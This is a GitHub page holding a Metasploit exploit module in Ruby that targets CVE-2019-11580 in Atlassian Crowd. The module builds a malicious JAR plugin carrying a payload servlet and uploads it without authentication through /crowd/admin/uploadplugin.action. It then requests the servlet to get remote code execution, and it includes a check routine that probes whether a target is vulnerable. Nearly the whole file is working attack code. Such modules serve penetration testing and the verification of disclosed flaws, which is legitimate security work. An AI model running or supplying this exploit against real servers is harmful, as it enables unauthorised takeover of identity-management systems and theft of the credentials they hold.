-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
atlassian_crowd_pdkinstall_plugin_upload_rce.rb
131 lines (118 loc) · 4.78 KB
/
atlassian_crowd_pdkinstall_plugin_upload_rce.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',
'Description' => %q{
This module can be used to upload a plugin on Atlassian Cloud via
the pdkinstall development plugin as an unauthenticated attacker.
The payload is uploaded as a JAR archive containing a servlet using
a POST request to /crowd/admin/uploadplugin.action. The check command will
check that the /crowd/admin/uploadplugin.action page exists and that it
responds appropriately to determine if the target is vulnerable or not.
},
'Author' => [
'Paul', # Vulnerability discovery
'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.
'Grant Willcox' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-11580'],
['URL', 'https://jira.atlassian.com/browse/CWD-5388'],
['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],
['URL', 'https://www.corben.io/atlassian-crowd-rce/']
],
'Platform' => %w[java],
'Arch' => ARCH_JAVA,
'DefaultOptions' => {
'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.
},
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Targets' => [
[
'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
]
],
'DisclosureDate' => '2019-05-22'
)
)
register_options(
[
Opt::RPORT(8095),
OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),
]
)
end
def upload_plugin(content)
data = Rex::MIME::Message.new
data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")
send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),
'method' => 'POST',
'data' => data.to_s,
'ctype' => "multipart/mixed; boundary=#{data.bound}"
}, datastore['HttpClientTimeout'])
end
def generate_plugin_jar
name = Rex::Text.rand_text_alpha(8..12)
servlet_name = Rex::Text.rand_text_alpha(8..12)
atlassian_plugin_xml = %(
<atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">
<plugin-info>
<param name="atlassian-data-center-compatible">true</param>
<description></description>
<version>1.0.0</version>
</plugin-info>
<servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">
<url-pattern>/#{name}</url-pattern>
<description>#{Faker::App.name}</description>
</servlet>
</atlassian-plugin>
)
# Generates .jar file for upload
zip = payload.encoded_jar
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)
servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
zip.add_file('/metasploit/PayloadServlet.class', servlet)
contents = zip.pack
[contents, name]
end
def check
print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')
res = upload_plugin(Rex::Text.rand_text_alpha(45..120))
if res.nil?
CheckCode::Unknown('Was not able to connect to the target!')
elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)
CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")
else
CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")
end
end
def exploit
print_status('Generating a malicious JAR plugin...')
content, plugin_name = generate_plugin_jar
print_status('Uploading the malicious JAR plugin...')
upload_plugin(content)
send_request_cgi({
'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),
'method' => 'GET'
}, datastore['HttpClientTimeout'])
end
end